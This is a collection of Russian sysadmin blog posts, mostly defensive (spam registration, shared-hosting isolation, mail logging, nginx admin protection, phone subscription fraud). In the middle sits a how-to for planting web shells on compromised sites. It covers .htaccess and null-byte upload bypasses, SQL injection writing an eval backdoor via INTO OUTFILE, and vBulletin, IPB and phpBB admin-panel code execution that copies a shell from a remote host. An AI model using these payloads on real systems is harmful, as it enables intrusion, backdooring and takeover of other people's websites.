Буквально задолбали один сайт с авто-регистрацией новых пользователей! (благо в форум не срут).
Тем не менее — капчу уже завернул до неузнаваемости — всё равно прошибают!
Готовых бесплатных (этого клиента «качать» на деньги — долго и нудно) решений на маркетплейсе не нашел — самому что-то ваять честно — лень!
Нашел решение, очень симпатичное мне по его установке (по работе проверим) — вся статья Битрикс: защита форм от спамеров. Подключаем stopforumspam
Элегантность решения — в отсутствии какой либо кастомизации — всё сделано на основе хука
Перед регистрацией пользователя отсылаем на проверку к stopforumspam его IP, имя, email — если сервису что-то не понравилось, возвращает false — регистрацию прерываем.
Соответственно, в файл /bitrix/php_interface/init.php добавляем
Собственно, снова словил горький опыт по вырезанию вредоносного кода СРАЗУ на всех сайтах хостинга (изначально — официальная виртуальная машина Битрикс VM).
А беда вот в чём — допустим у меня прижилось 20 сайтов на виртуалке (под каждый делать виртуалку — жесть), каким то неизвестным мне образом на одну из виртуалок попадает троян в виде иньекции в php скрипт (или непосредственно сам скрипт) с возможностью запуска от пользователя Bitrix.
И на этом ВСЁ! Скрипт получает доступ абсолютно ко всем сайтам на данной виртуалке, т.к. все они с правами bitrix …
Сам себе закинул WSO — и осознал всю горечь происходящего.
Запереть аппач в root директории сайта возможности нет… ЧТО ДЕЛАТЬ?
Ну и придумал такой вариант:
1. На папки с конфигурационными файлами убираем доступ на чтение всем и группе (/etc/nginx/ и /etc/httpd/ )
2. Каждый сайт создавать с папке с уникальным именем, вроде 235hjhjfdsu
Получится такая структура:
/www/235hjhjfdsu/site1.ru/
/www/345o44jkre2/site2.ru/
/www/345fgmkj324/site3.ru/
На www и на «левые» папки — так же убираем доступ на чтение всем и группе (/etc/nginx/ и /etc/httpd/ )
Таким образом находясь в root директории сайта «вычислить» директории других сайтов под пользователем Битрикс не получится.
P.S.
В идеале аппач должен работать в рутовой папке сайта от имени пользователя, созданного для этого сайта!
Но как это реализовать я пока не нашел. 🙁
Утро понедельника не задалось — при прочтении утренней почты обнаруживаю абузу с датацентра на один из моих серверов 🙁
При ознакомлении выясняется, что мне закинули какой то «сифак», который благополучно спамит добропорядочных граждан «via sendmail with smtp»
Предположив, что сиё действо выполняется с какого-то php скриптика сразу же встал вопрос о методе его поиска! Собственно — как?
Через мои защиты он уже каким то образом пролез, значит моими регулярками его не выцепить!
В идеале фукнцию отправки почты логировать — а там то я бы его по факту обнаружил!
Оказывается, начиная с PHP 5.3 такая возможность присутствует! и имея ей MAILHEAD
Пересобираем php с указанным выше патчем:
(инструкция для FreeBSD):
смотрим какая версия PHP
#php -v
у меня 5.3
#cd /usr/ports/lang/php53
#make config
отмечаем [X] MAILHEAD Enable mail header patch
#make
как все соберется без ошибок
#make deinstall
#make install clean
Далее в php.ini указываем куда писать лог
mail.log = /var/log/php-mail.log
рестартим веб сервер и делаем тестовую отправку
1
2
3
4
5
6
7
8
$to='nobody@example.com';
$subject='the subject';
$message='hello';
$headers='From: webmaster@example.com'."\r\n".
'Reply-To: webmaster@example.com'."\r\n".
'X-Mailer: PHP/'.phpversion();
mail($to,$subject,$message,$headers);
проверяем лог — если скрипт попал в лог — всё окей
Далее ловим гада.
Добавлю ещё выдержку со статьи:
Чтобы найти источник спам-рассылки на сайте, нужно в файле php.ini включить логирование рассылаемой почты директивами:
mail.add_x_header = On
mail.log = <путь до вашего пользовательского каталога>/php-mail.log
В моей ситуации я прикручивал эту фишку к виртуальной машине Битрика, с несколькими хостами на одной виртуалке.
На каждый хостинг была включена openbasedir соответственно путь для почтовых логов нужно определять внутри openbasedir и задавать отдельно для каждого сайта,
поэтому выставлять значения нужных параметров я решил не в php.ini а в конфиге аппача для каждого сайта
php_admin_value mail.add_x_header On
php_admin_value mail.log <путь до вашего пользовательского каталога>/php-mail.log
PS
Быстро удалить спам письма из очереди
find /var/spool/clientmqueue/ -type f -delete
find /var/spool/mqueue/ -type f -delete
Собственно, нужно правильно средствами NGINXа ограничить доступ к админке сайта.
В данном случае это Joomla и папочка /administrator/ которую последнее время сильно стали тревожить подозрительные запросы …
Пишу «правильно» т.к. года два назад написал конфиг преследуя эту же цель и «вроде бы» всё работало как надо!
На днях всплыло, что не как надо 🙂
Итак:
Оказалось вообще не верным, т.к. работало только на /administrator/
И пропускало все атаки, переборы и т.д. на /administrator/index.php — которые уходили в секцию обработки скриптов
1
location~\.php${
«Правильное» решение, сразу же найденное в сети — использование префикса ^~
то есть
1
location^~/administrator/{...
НО! в таком случае правило работает на все файлы находящиеся в /administrator/
и до location обрабатывающего статику а-ля
1
location~*^.+\.(jpg|jpeg|gif|png|ico)${
дело не доходит! а т.к. у меня fast-cgi то статика осталась вообще не удел
всё происходит из-за приоритетов обработки location
Правильно обработки папки /administrator/ имеет более высокий приоритет, и после его обработки дальнейшие location не обрабатываются
Подумал я и ничего лучше, чем обработку /administrator/ запихать в регулярку (для выравнивания приоритетов) не придумал
Финальный результат (закоментированные строки убирать специально не стал, т.к. имея статический IP — это самая лучшая защита админки)
Итак, вчера поимел первый печальный опыт с DDOS атаками — на час положили один из администрируемых мной сайтов.
Дёргали морду с разных IP, но видимо ботнет не такой уж и большой был т.к. одни и те же айпишники довольно часто повторялись (за полчаса чуть более тысячи повторов).
В среднем генерировалось около 50ти запросов в секунду, с которыми сервак конечно же не справился — nginx я положил «руками», прописал только свои айпишники — остальных deny пока атака не кончилась.
Сразу после атаки было получено письмо:
Добрый день. Мы оказываем услуги по анти-спамам и по разблокировки вашего сайта и телефонных номеров. В настоящее время мы видим, что работоспособность сайта и тел. номеров нулевая. Для демонстрации наших способностей мы можем восстановить их работоспособность. Если вы готовы обсуждать эти вопросы, мы готовы к сотрудничеству.
Вы взломали сайт (разумеется только тестируете) с самописной админкой… И не можете залит веб-шелл, но там присутствует заливка картинок и загружает только форматы .jpg, .gif, .png.
Что в этом случаем можно сделать?
Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и создаем файл .htaccess с содержимым
AddType application/x-httpd-php .gif
Данная команда выполнит формат .gif как php
Пробуем открыть [path]/shell.gif
Так же, если скрипт не равнодушен к переносу строки, пробуем залить шелл попутно переименовав его в shell.php%00.jpg, проверять доступность shell.php, а вдруг?
Способ заливки шелла через mysql.user из скули
1)Узнаем из под кого мы сидим и узнаем так же его права к mysql.
site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+ (Узнаем под кем мы сидим)
2)site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user='наш юзер'+--+ (Проверим привилегии нашего юзера. Если выдаёт ошибку при выводе, можно похексить нашего юзера 0x)
3)site.com/index.php?id=-1+union+select+1,'< ?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'Путь до файла'+--+ (Заливаем мини-шелл)
P.S
Что бы всё получилось нужно имееть права на запись и знать полный путь до корня.
Так же проверить права на запись можно так:
site.com/index.php?id=1+and+1=0+union+Select+1,'prava',3+from+mysql.user+--+ Если prava отобразится, то права есть.
Следующая ситуация. Мы в админке форумного движка vBulletin
Выбираем темптлей. Обычно выбирают faq_complete, выбираем и жмем галочку Plugin is Active выставляем «Yes» и сохраняем.
Далее выводим phpinfo()
localhost/forum/faq.php?cmd=phpinfo();
Если мы вывели phpinfo() то считайте шелл у нас в руках.
Далее в phpinfo нужно найти полный путь до форума (например /home/u0000/site.ru/www/sell.php). Далее нам нужно наш веб-шелл превратить в txt файл и залить на любой сайт mysite.com/shell.txt
Шелл заливаем командой
localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что делает эта команда? Она копирует содержимое переменной [a] в переменную [b], то есть shell.txt копирует в shell.php
Заливаем шелл в IPB 3
Заходим:
Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос
Код: select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'
Полный путь можно посмотреть так:
Админка->Поддержка
Там будет сверху написана версия PHP и слева ссылка на PHPINFO
Шелл тут: http://site.com/uploads/shell.php
Заливаем шелл в phpBB 2
1. Создаём файл ex.sql
2. Прописываем туда
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2; Где user_id=2 — идентификатор администратора
3. Заходим в админ-панель
4. В админ-панеле выбираем пункт «Восстановить БД» и загружаем ex.sql
5. Выполняем код / Заливаем шелл так
Заходим: http://target/profile.php?mode=editprofile&e=phpinfo();
После: http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что бы вывести phpinfo() нужно быть авторизованным.
Это только коротенький список, как и на какие движки можно залить шелл. Нужно больше? Welcome к ребятам на rdot заливка на форумы заливка на cms
А вот и мой любимый шелл, тоже на rdot)) WSO
Снова сработал «поставок» установленный на ранее взломанном сайте.
На этот раз у хакера цель уже другая — подбор пароля к wordrpess сайтам (работа с другими движками аналогична) через уже взломанный сайт (мой).
В данном случае «бомбят» сайты расположенные на доменах 3его уровня вида *.com.au
(добавлено чуть позже, когда ещё один постовок сработал: «бомбят» вообще всё подряд — похоже базу доменов прочекали на признаки WP и теперь бомбят)
Поставок простой — при «закидывании» через POST запрос какого либо задания — оно не выполняется, как хотел бы того злоумышленник, а сохраняется для дальнейшего его анализа мною.
Кому интересно — скрипт к посту прилагается — изучайте (подозреваю мой сайт ломали таким же способом)
До кучи скину 3 разновидности скрипта, занимающиеся поиском и взлом «соседей» по хостингу (в случае плохой защищённости, например отсутствия OpenBaseDir). host-hack-1.php host-hack-2.php host-hack-3.php
Т.к. все эти скриптики мне кинули добровольно, причём с не добрым умыслом — думаю имею моральное право их обнародовать 🙂
Ну и сам внедрённый post.php через который и кидаются на исполнение все вышеобозначенные скрипты ( не правда ли — очень простой 🙂 )
Далее цепочка думаю понятна — сайт ломается, в него внедряется post.php — и сам сайт становится звеном для взлома других. Далее всё работает в бесконечном цикле подменяя массив паролей.
Параллельно можно на взломанных сайтах подменить htaccess для сбора мобильного или поискового трафа, можно доров туды залить и через TDS уже тематический траф слить куда-нить, можно …….. в общем чего «выжать» с рабочих сайтов думаю вариантов куча
Обычно телефонные мошенничества предполагают отправку платной СМС либо ввод номера телефона и подтверждающего кода, пришедшего по СМС, либо совершение звонка на платный номер.
Всё это делается под разными уловками, предлогами и т.д.
НО !!! человек отправляет, принимает и вводит код, звонит САМ (о том, что у него на тот момент в голове — умолчим) — важен ФАКТ!
«Не знал о цене, не прочитал, был не правильно проинформирован, введён в заблуждение, обманут» — неважно, ВАЖНО ТО, ЧТО это было сделано человеком лично И осуществлённое действие можно посмотреть в детализации его разговоров — входящее либо исходящее СМС, либо звонок на платный номер.
Собственно, первое что я сделал — конечно же заказал детализацию — ведь даже если это сделал какой то вирус или другое вредоносное ПО — это действие должно отразиться в детализации!
НО к моему удивлению ни СМС, ни звонков на номера в периоде когда я юзал интернет и получил СМС о подключении услуги — не было !!!
Получается, что у мошенников есть инструмент оформления подписки без подтверждения СМС-кой!!!
Грубо говоря я могу написать программку для своего мобильника, которая сможет меня подписать на какую то услугу без отправки смс или звонка с телефона …
правда не могу понять КАК ?!!!
Очень хотелось бы получить информацию о таких возможностях у сотовых операторов — ведь подобные моменты оговариваются именно с ними — техническая возможность подписки предоставляется именно оператором. НО! попытки узнать эту информацию у сотрудников МТС не увенчались успехом…
А может и программки никакой не нужно — например, если переход по ссылке считать подтверждением подписки. Но тут злоумышленник опять же должен быть в сговоре с мобильным оператором — ведь подписка должна быть осуществлена по моему номеру — и каким то образом мошенник этот номер узнаёт и уже потом каким то образом передаёт информацию МТС-у о включении услуги.
О данных механизмах остаётся только гадать, т.к. все мои розыски информации на эту тему пока не принесли успеха…
Очень интересует момент получения выгоды мошенником! Ну сделал вирусный сайт — нагнал мобильного трафика — подписались ХХХ человек на платные подписки — деньги получили Контент менеджер и сотовый оператор. Как далее контент менеджер делится непосредственно с исполнителем — главный вопрос!
Если что «нарою» в процессе своего расследования — обязательно выложу.
В следующей статейке, расскажу о мобильном клоакинке (открывая сайт телефоном — видим ссылки ведущие на сайты с вирусом, который и осуществляет подписку, открывая эту же страничку в браузере компьютера — видим только мирные и хорошие ссылки) — собственно, этот механизм был задействован в разводе меня на подписки 🙂
Преамбула:
Вчера с мобильного читал Баш на стороннем сайте (не знаю сделали или нет — но раньше мобильной версии Баша не было) адрес категории wap.infan.ru/inf/?sec=37
Мобила старенькая, именно поэтому искал WAP версию сайта — ну да ладно, не об этом …
ИТАК — читаю Баш, тыкаю мимо ссылки со следующей страницы на рекламную — попадаю на эро-сайт.
Ну раз зашел — надо глянуть пару картинок оголенных тел 🙂
Жму — и почему-то не осуществляется переход по ссылке, а предлагает скачать Java приложение — скачиваю, запускаю — да реально вижу 3 фотки — стираю приложение.
Через 2 минуты получаю SMS с номера 7250 «Сервис для Вас недоступен. На номере подключена услуга «Запрет контента».
Благо я раньше врубил эту услугу!
СМС я не отправлял и не получал (с кодом подтверждения), номер телефона нигде не вводил — иначе говоря никаких заказов услуг я не делал и не подтверждал!
Если бы услуга не была включена — подписка бы состоялась и неизвестно на какую сумму я бы «попал».
Раз я не был уведомлен о том, что с меня хотят снять деньги и тем более сняли без моего на то согласия — то такое действие можно расценивать как махинацию!
Ну раз я защищён от подобного рода махинаций — захожу снова, тыкаю в рекламную ссылку (на этот раз какие-то бесплатные игры) — уже ничего не скачиваю и тем более не запускаю — и ОПС — через пару минут с номера определившегося как МТС приходит информативная СМС Доступ к Подписке «Игра в подарок!» предоставлен на 7 дней. Стоимость: 35.00 руб. с НДС/7 дней. Управление доступом к подпискам и отключение *152*2# Вызов (бесплатно)
А теперь к самому интересному ! — Звоню в МТС на короткий номер 0890!
Кратко объясняю происходящее, на что девушка всеми способами пытается донести до меня идею «мы за контент-провайдеров не отвечаем — звоните им и разбирайтесь сами» и старается поскорее закончить разговор.
Перевожу вопрос не от конкретного моего случая, в более теоретический аспект и задаю вопрос Как меня ТЕХНИЧЕСКИ без подтверждения в виде СМС либо ввода подтверждающего кода полученного в виде СМСки умудряются подключать на какие то услуги при моём путешествии по волнам интернета ?!
Напомню — телефон у меня обычный Samsung D900, никакой не смартфон — с весьма скромными возможностями, тем не менее как оказалось подписывается на платные услуги «на ура».
На что снова получаю ответ — «разбирайтесь с контент-провайдерами — как именно они вас подключают — не наше дело»
Еле как объясняю, что меня интересуют в принципе как это возможно технически, например если я сам буду контент-провайдером. (а-ля «огласите весь список, пожалуйста»)
Девушка переключает на «экспертный отдел» — где повторяется всё снова, только уже с мужчиной-экспертом!
В итоге от МТС-а я не добился ровным счётом НИЧЕГО! сложилось такое впечатление, что они специально не разглашают данного рода информацию и всячески пытаются отстраниться — вроде как вот ВЫ а вот ОНИ — разбирайтесь сами.
Но как всё же выясняется и МЫ и ОНИ заключают договор всё таки с МТС и технически всё информационное общением между нами предоставляет именно МТС со своими протоколами обмена и правилами.
Но почему то мне эти правила объяснить не могут, даже в ситуации где я являюсь пострадавшей стороной и явно прав !!!
Всё становится на свои места после того, как понимаешь, что с любого снятия денег с твоего счёта — подписка, услуга, и т.д. сотовый оператор получает свою долю (и не маленькую).
То есть по факту оператор получает долю от мошенничества! что и подтверждает заголовок моего топика «Телефонные мошенничества — сотовые компании в доле!»
P.S.
Детальный разбор конкретного механизма данной махинации и схему работы постараюсь описать в следующем посте (конечно насколько сам смогу разобраться).
Если у кого то будет информация по теме — буду рад разместить.
Порой приходится пихать свою флэху в чужие компы — соответственно, с вероятностью поймать триппер в виде autorun.inf
(тем не менее автозапуск на своём компе лучше всё таки отключить)
Для быстрой защиты от таких вирусов
1. форматируем флэху в ntfs
2. создаём папочку где и будут храниться все данные например MyData
3. в параметрах безопасности убираем наследование от родителя
4. на флэху для всех ставим только чтение
Можно ещё перед всеми этими процедурами в корне создать одноименную папочку
autorun.inf
поставить на неё всяческие аттрибуты (только чтение, невидимость и т.д.)
и кинуть в папку не пустой файл